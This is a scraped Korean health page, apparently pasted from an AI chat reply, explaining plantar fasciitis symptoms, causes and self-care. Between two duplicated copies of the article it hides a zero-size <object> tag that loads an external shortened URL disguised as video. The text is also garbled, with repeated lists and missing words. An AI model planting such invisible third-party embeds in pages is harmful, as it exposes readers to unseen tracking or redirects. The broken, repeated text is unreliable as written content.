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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:21">족저근막염: 발뒤꿈치 통증의 주범</h2><p data-sourcepos="3:1-3:137"><strong>족저근막염</strong>은 발뒤꿈치에서 발바닥 앞쪽까지 이어지는 강인한 섬유띠인 족저근막에 반복적인 스트레스가 가해져 염증이 생기는 입니다. 주로 발뒤꿈치 안쪽에 통증이 발생하며, 특히 아침에 첫 발을 내디딜 때 심한 통증을 느끼는 것이 특징입니다.</p><h3 data-sourcepos="5:1-5:16">족저근막염의 주요 </h3><ul data-sourcepos="7:1-11:0">
<li data-sourcepos="7:1-7:77"><strong>발뒤꿈치 통증:</strong> 특히 아침에 일어나 처음 발을 디딜 때 심하며, 활동을 시작하면 점차 완화되지만 다시 심해지는 양상을 보입니다.</li>
<li data-sourcepos="8:1-8:51"><strong>발바닥 전체 통증:</strong> 발뒤꿈치뿐만 아니라 발바닥 전체에 통증이 느껴질 수 있습니다.</li>
<li data-sourcepos="9:1-9:34"><strong>붓기:</strong> 발뒤꿈치 부위에 붓기가 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-11:0"><strong>압통:</strong> 발뒤꿈치 안쪽을 누르면 통증이 심해집니다.</li>
</ul><h3 data-sourcepos="12:1-12:13">족저근막염의 원인</h3><ul data-sourcepos="14:1-19:0">
<li data-sourcepos="14:1-14:65"><strong>과도한 운동:</strong> 달리기, 점프 등 발에 충격을 주는 운동을 과도하게 하면 족저근막에 무리가 갈 수 있습니다.</li>
<li data-sourcepos="15:1-15:68"><strong>갑작스러운 운동량 증가:</strong> 평소 운동을 하지 않던 사람이 갑자기 운동량을 늘리면 족저근막염이 발생할 수 있습니다.</li>
<li data-sourcepos="16:1-16:55"><strong>체중 증가:</strong> 체중이 증가하면 발에 가해지는 부담이 커져 족저근막염을 유발할 수 있습니다.</li>
<li data-sourcepos="17:1-17:68"><strong>오래 서 있거나 걷는 직업:</strong> 교사, 판매원 등 오래 서 있거나 걷는 직업에 종사하는 사람들에게 많이 발생합니다.</li>
<li data-sourcepos="18:1-19:0"><strong>평발 또는 아치가 높은 발:</strong> 발의 구조적인 문제로 인해 족저근막에 부담이 가해질 수 있습니다.</li>
</ul><h3 data-sourcepos="20:1-20:17">족저근막염 예방 및 관리</h3><ul data-sourcepos="22:1-27:0">
<li data-sourcepos="22:1-22:65"><strong>적절한 운동:</strong> 규칙적인 스트레칭과 저강도 유산소 운동을 통해 족저근막의 유연성을 높이고 근력을 강화합니다.</li>
<li data-sourcepos="23:1-23:43"><strong>체중 관리:</strong> 적절한 체중을 유지하여 발에 가해지는 부담을 줄입니다.</li>
<li data-sourcepos="24:1-24:50"><strong>편안한 신발 착용:</strong> 쿠션이 좋고 발을 잘 지지해주는 신발을 신는 것이 좋습니다.</li>
<li data-sourcepos="25:1-25:33"><strong>휴식:</strong> 통증이 심할 경우 충분한 휴식을 취합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>냉찜질:</strong> 통증 부위에 냉찜질을 해주면 염증 완화에 도움이 됩니다.</li>
</ul><p data-sourcepos="28:1-28:78"><strong>주의:</strong> 족저근막염은 자가진단이 어렵고, 방치할 경우 만성화될 수 있으므로 통증이 지속될 경우 반드시 전문의에게 진찰을 받아야 합니다.</p><p data-sourcepos="30:1-30:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:77"><strong>발뒤꿈치 통증:</strong> 특히 아침에 일어나 처음 발을 디딜 때 심하며, 활동을 시작하면 점차 완화되지만 다시 심해지는 양상을 보입니다.</li>
<li data-sourcepos="8:1-8:51"><strong>발바닥 전체 통증:</strong> 발뒤꿈치뿐만 아니라 발바닥 전체에 통증이 느껴질 수 있습니다.</li>
<li data-sourcepos="9:1-9:34"><strong>붓기:</strong> 발뒤꿈치 부위에 붓기가 발생할 수 있습니다.</li>
<li data-sourcepos="10:1-11:0"><strong>압통:</strong> 발뒤꿈치 안쪽을 누르면 통증이 심해집니다.</li>
</ul><h3 data-sourcepos="12:1-12:13">족저근막염의 원인</h3><ul data-sourcepos="14:1-19:0">
<li data-sourcepos="14:1-14:65"><strong>과도한 운동:</strong> 달리기, 점프 등 발에 충격을 주는 운동을 과도하게 하면 족저근막에 무리가 갈 수 있습니다.</li>
<li data-sourcepos="15:1-15:68"><strong>갑작스러운 운동량 증가:</strong> 평소 운동을 하지 않던 사람이 갑자기 운동량을 늘리면 족저근막염이 발생할 수 있습니다.</li>
<li data-sourcepos="16:1-16:55"><strong>체중 증가:</strong> 체중이 증가하면 발에 가해지는 부담이 커져 족저근막염을 유발할 수 있습니다.</li>
<li data-sourcepos="17:1-17:68"><strong>오래 서 있거나 걷는 직업:</strong> 교사, 판매원 등 오래 서 있거나 걷는 직업에 종사하는 사람들에게 많이 발생합니다.</li>
<li data-sourcepos="18:1-19:0"><strong>평발 또는 아치가 높은 발:</strong> 발의 구조적인 문제로 인해 족저근막에 부담이 가해질 수 있습니다.</li>
</ul><h3 data-sourcepos="20:1-20:17">족저근막염 예방 및 관리</h3><ul data-sourcepos="22:1-27:0">
<li data-sourcepos="22:1-22:65"><strong>적절한 운동:</strong> 규칙적인 스트레칭과 저강도 유산소 운동을 통해 족저근막의 유연성을 높이고 근력을 강화합니다.</li>
<li data-sourcepos="23:1-23:43"><strong>체중 관리:</strong> 적절한 체중을 유지하여 발에 가해지는 부담을 줄입니다.</li>
<li data-sourcepos="24:1-24:50"><strong>편안한 신발 착용:</strong> 쿠션이 좋고 발을 잘 지지해주는 신발을 신는 것이 좋습니다.</li>
<li data-sourcepos="25:1-25:33"><strong>휴식:</strong> 통증이 심할 경우 충분한 휴식을 취합니다.</li>
<li data-sourcepos="26:1-27:0"><strong>냉찜질:</strong> 통증 부위에 냉찜질을 해주면 염증 완화에 도움이 됩니다.</li>
</ul><p data-sourcepos="28:1-28:78"><strong>주의:</strong> 족저근막염은 자가진단이 어렵고, 방치할 경우 만성화될 수 있으므로 통증이 지속될 경우 반드시 전문의에게 진찰을 받아야 합니다.</p><p data-sourcepos="30:1-30:30"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p></div>
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